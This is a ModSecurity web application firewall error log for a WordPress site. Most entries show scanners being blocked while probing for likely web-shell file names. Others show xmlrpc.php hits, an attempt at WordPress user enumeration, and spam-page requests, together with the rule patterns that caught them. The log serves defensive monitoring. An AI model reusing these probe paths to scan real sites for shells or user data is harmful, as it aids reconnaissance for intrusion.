[Mon Apr 06 00:22:00.459901 2026] [:error] [pid 30921:tid 30937] [client 172.161.76.59:7348] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new3.php"] [unique_id "adKMKGFGQVn8Q0ueB256DQAAAQ4"]
[Mon Apr 06 00:22:01.386092 2026] [:error] [pid 30921:tid 30926] [client 172.161.76.59:7355] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new3.php"] [unique_id "adKMKWFGQVn8Q0ueB256DwAAAQM"]
[Mon Apr 06 00:22:02.492300 2026] [:error] [pid 30921:tid 30946] [client 172.161.76.59:7334] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new3.php"] [unique_id "adKMKmFGQVn8Q0ueB256EQAAARc"]
[Mon Apr 06 00:22:03.900855 2026] [:error] [pid 45409:tid 45433] [client 172.161.76.59:60947] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "adKMK9Ht_Oyw03gjCNi3CAAAANY"]
[Mon Apr 06 00:22:08.232633 2026] [:error] [pid 45305:tid 45375] [client 172.161.76.59:53202] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "adKMMOjDQjr7aWhjflCqXgAAAIQ"]
[Mon Apr 06 00:22:09.873789 2026] [:error] [pid 45409:tid 45420] [client 172.161.76.59:60880] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "adKMMdHt_Oyw03gjCNi3FQAAAMk"]
[Mon Apr 06 00:22:11.567697 2026] [:error] [pid 30921:tid 30932] [client 172.161.76.59:60368] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "adKMM2FGQVn8Q0ueB256JgAAAQk"]
[Mon Apr 06 00:22:13.302360 2026] [:error] [pid 45409:tid 45424] [client 172.161.76.59:59701] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws87.php"] [unique_id "adKMNdHt_Oyw03gjCNi3KwAAAM0"]
[Mon Apr 06 00:22:14.690969 2026] [:error] [pid 45303:tid 45333] [client 172.161.76.59:7298] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws87.php"] [unique_id "adKMNrboQ9eViZ4hdnm5VgAAABA"]
[Mon Apr 06 00:22:15.583433 2026] [:error] [pid 45305:tid 45373] [client 172.161.76.59:63045] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws87.php"] [unique_id "adKMN-jDQjr7aWhjflCqZgAAAII"]
[Mon Apr 06 00:22:16.490554 2026] [:error] [pid 45305:tid 45394] [client 172.161.76.59:60990] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws87.php"] [unique_id "adKMOOjDQjr7aWhjflCqaAAAAJc"]
[Mon Apr 06 00:22:17.396402 2026] [:error] [pid 45409:tid 45422] [client 172.161.76.59:53209] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buc.php"] [unique_id "adKMOdHt_Oyw03gjCNi3MgAAAMs"]
[Mon Apr 06 00:22:18.519857 2026] [:error] [pid 45409:tid 45423] [client 172.161.76.59:59711] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buc.php"] [unique_id "adKMOtHt_Oyw03gjCNi3OAAAAMw"]
[Mon Apr 06 00:22:19.771188 2026] [:error] [pid 45409:tid 45411] [client 172.161.76.59:60370] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buc.php"] [unique_id "adKMO9Ht_Oyw03gjCNi3OgAAAMA"]
[Mon Apr 06 00:22:20.363330 2026] [:error] [pid 45409:tid 45430] [client 172.161.76.59:54974] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buc.php"] [unique_id "adKMPNHt_Oyw03gjCNi3PQAAANM"]
[Mon Apr 06 00:22:21.312548 2026] [:error] [pid 45409:tid 45427] [client 172.161.76.59:54931] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Cap.php"] [unique_id "adKMPdHt_Oyw03gjCNi3QwAAANA"]
[Mon Apr 06 00:23:17.476352 2026] [:error] [pid 45409:tid 45422] [client 172.161.76.59:59664] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xsas.php"] [unique_id "adKMddHt_Oyw03gjCNi4WQAAAMs"]
[Mon Apr 06 00:23:18.040121 2026] [:error] [pid 45409:tid 45425] [client 172.161.76.59:60970] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xsas.php"] [unique_id "adKMdtHt_Oyw03gjCNi4XgAAAM4"]
[Mon Apr 06 00:23:19.162794 2026] [:error] [pid 45303:tid 45337] [client 172.161.76.59:54947] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xsas.php"] [unique_id "adKMd7boQ9eViZ4hdnm6LQAAABQ"]
[Mon Apr 06 00:23:21.510688 2026] [:error] [pid 45409:tid 45432] [client 172.161.76.59:7336] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xsas.php"] [unique_id "adKMedHt_Oyw03gjCNi4agAAANU"]
[Mon Apr 06 00:23:23.415725 2026] [:error] [pid 45305:tid 45392] [client 172.161.76.59:54972] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "adKMe-jDQjr7aWhjflCqtAAAAJU"]
[Mon Apr 06 00:23:24.774698 2026] [:error] [pid 45305:tid 45394] [client 172.161.76.59:63093] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "adKMfOjDQjr7aWhjflCqvgAAAJc"]
[Mon Apr 06 00:23:25.998064 2026] [:error] [pid 45409:tid 45426] [client 172.161.76.59:54968] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "adKMfdHt_Oyw03gjCNi4ewAAAM8"]
[Mon Apr 06 00:23:28.044376 2026] [:error] [pid 45303:tid 45322] [client 172.161.76.59:60365] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "adKMgLboQ9eViZ4hdnm6SwAAAAU"]
[Mon Apr 06 00:23:30.718422 2026] [:error] [pid 45409:tid 45415] [client 172.161.76.59:7335] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nw.php"] [unique_id "adKMgtHt_Oyw03gjCNi4mQAAAMQ"]
[Mon Apr 06 00:23:32.405458 2026] [:error] [pid 45409:tid 45415] [client 172.161.76.59:60400] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nw.php"] [unique_id "adKMhNHt_Oyw03gjCNi4pgAAAMQ"]
[Mon Apr 06 00:23:33.521513 2026] [:error] [pid 30921:tid 30929] [client 172.161.76.59:7325] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nw.php"] [unique_id "adKMhWFGQVn8Q0ueB256xgAAAQY"]
[Mon Apr 06 00:23:35.238256 2026] [:error] [pid 45304:tid 45359] [client 172.161.76.59:63059] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nw.php"] [unique_id "adKMhw5jnqDKKovdRkldIAAAAE8"]
[Mon Apr 06 00:23:36.364345 2026] [:error] [pid 45409:tid 45422] [client 172.161.76.59:54970] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hhxc.php"] [unique_id "adKMiNHt_Oyw03gjCNi4vAAAAMs"]
[Mon Apr 06 00:23:37.461259 2026] [:error] [pid 45303:tid 45338] [client 172.161.76.59:60375] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hhxc.php"] [unique_id "adKMibboQ9eViZ4hdnm6ewAAABU"]
[Mon Apr 06 00:23:39.024469 2026] [:error] [pid 45305:tid 45389] [client 172.161.76.59:59653] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hhxc.php"] [unique_id "adKMi-jDQjr7aWhjflCqzgAAAJI"]
[Mon Apr 06 00:23:42.217458 2026] [:error] [pid 45303:tid 45321] [client 172.161.76.59:60403] [client 172.161.76.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hhxc.php"] [unique_id "adKMjrboQ9eViZ4hdnm6jAAAAAQ"]
[Mon Apr 06 01:05:37.556139 2026] [:error] [pid 51753:tid 51818] [client 170.106.140.110:33198] [client 170.106.140.110] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "adKWYa3pmp1JkaicYbtkWQAAAQc"]
[Mon Apr 06 03:39:50.340466 2026] [:error] [pid 35786:tid 35807] [client 154.47.31.5:45266] [client 154.47.31.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.47.31.5, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "adK6hmgkfCKTaLhwaKTJHAAAAM4"]
[Mon Apr 06 03:39:53.633336 2026] [:error] [pid 35786:tid 35804] [client 154.47.31.5:45266] [client 154.47.31.5] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "adK6iWgkfCKTaLhwaKTJOAAAAMs"]
[Mon Apr 06 03:39:56.366509 2026] [:error] [pid 35786:tid 35816] [client 154.47.31.5:45266] [client 154.47.31.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.47.31.5, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "adK6jGgkfCKTaLhwaKTJUAAAANc"]
[Mon Apr 06 04:18:40.923911 2026] [:error] [pid 35687:tid 35740] [client 43.153.74.75:60548] [client 43.153.74.75] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "adLDoJ3LtDozV0i8BiuBHQAAAFE"]
[Mon Apr 06 04:47:01.317837 2026] [:error] [pid 35786:tid 35799] [client 216.73.216.173:37814] [client 216.73.216.173] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||vetstars.com.au|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "adLKRWgkfCKTaLhwaKT_KgAAAMY"]
[Mon Apr 06 06:14:12.417428 2026] [:error] [pid 9442:tid 9462] [client 114.96.103.33:54246] [client 114.96.103.33] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "adLetEPsNnAJTnmz6sbfFgAAARI"]
[Mon Apr 06 08:04:14.317898 2026] [:error] [pid 9442:tid 9457] [client 135.181.180.59:63658] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "adL4fkPsNnAJTnmz6sYrgAAAAQ0"]
[Mon Apr 06 08:04:22.371544 2026] [:error] [pid 9442:tid 9444] [client 135.181.180.59:40998] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "adL4hkPsNnAJTnmz6sYruwAAAQA"]
[Mon Apr 06 08:04:24.799179 2026] [:error] [pid 9442:tid 9451] [client 135.181.180.59:41008] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "adL4iEPsNnAJTnmz6sYrwwAAAQc"]
[Mon Apr 06 08:04:27.399408 2026] [:error] [pid 35686:tid 35718] [client 135.181.180.59:29948] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "adL4i8MKdea6oORd2fyFtAAAABY"]
[Mon Apr 06 08:04:30.041132 2026] [:error] [pid 35687:tid 35724] [client 135.181.180.59:29952] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "adL4jp3LtDozV0i8BivAKAAAAEE"]
[Mon Apr 06 08:04:32.461548 2026] [:error] [pid 35686:tid 35702] [client 135.181.180.59:29958] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "adL4kMMKdea6oORd2fyFwwAAAAY"]
[Mon Apr 06 08:04:34.888282 2026] [:error] [pid 35786:tid 35812] [client 135.181.180.59:29974] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "adL4kmgkfCKTaLhwaKRogQAAANM"]
[Mon Apr 06 08:04:37.324820 2026] [:error] [pid 35686:tid 35710] [client 135.181.180.59:49256] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "adL4lcMKdea6oORd2fyFywAAAA4"]
[Mon Apr 06 08:04:39.843339 2026] [:error] [pid 9442:tid 9468] [client 135.181.180.59:49270] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "adL4l0PsNnAJTnmz6sYr8wAAARg"]
[Mon Apr 06 08:04:42.318871 2026] [:error] [pid 35688:tid 35763] [client 135.181.180.59:49280] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "adL4muZ85qg4jLsRpQzVZwAAAI0"]
[Mon Apr 06 08:04:44.944083 2026] [:error] [pid 35786:tid 35816] [client 135.181.180.59:49292] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "adL4nGgkfCKTaLhwaKRonQAAANc"]
[Mon Apr 06 08:04:47.434025 2026] [:error] [pid 35687:tid 35730] [client 135.181.180.59:44842] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "adL4n53LtDozV0i8BivAQQAAAEc"]
[Mon Apr 06 08:04:49.896892 2026] [:error] [pid 35686:tid 35698] [client 135.181.180.59:44850] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "adL4ocMKdea6oORd2fyF3AAAAAI"]
[Mon Apr 06 08:04:52.289638 2026] [:error] [pid 35686:tid 35709] [client 135.181.180.59:44854] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "adL4pMMKdea6oORd2fyF4gAAAA0"]
[Mon Apr 06 08:04:54.995498 2026] [:error] [pid 35688:tid 35754] [client 135.181.180.59:44860] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "adL4puZ85qg4jLsRpQzVjQAAAIQ"]
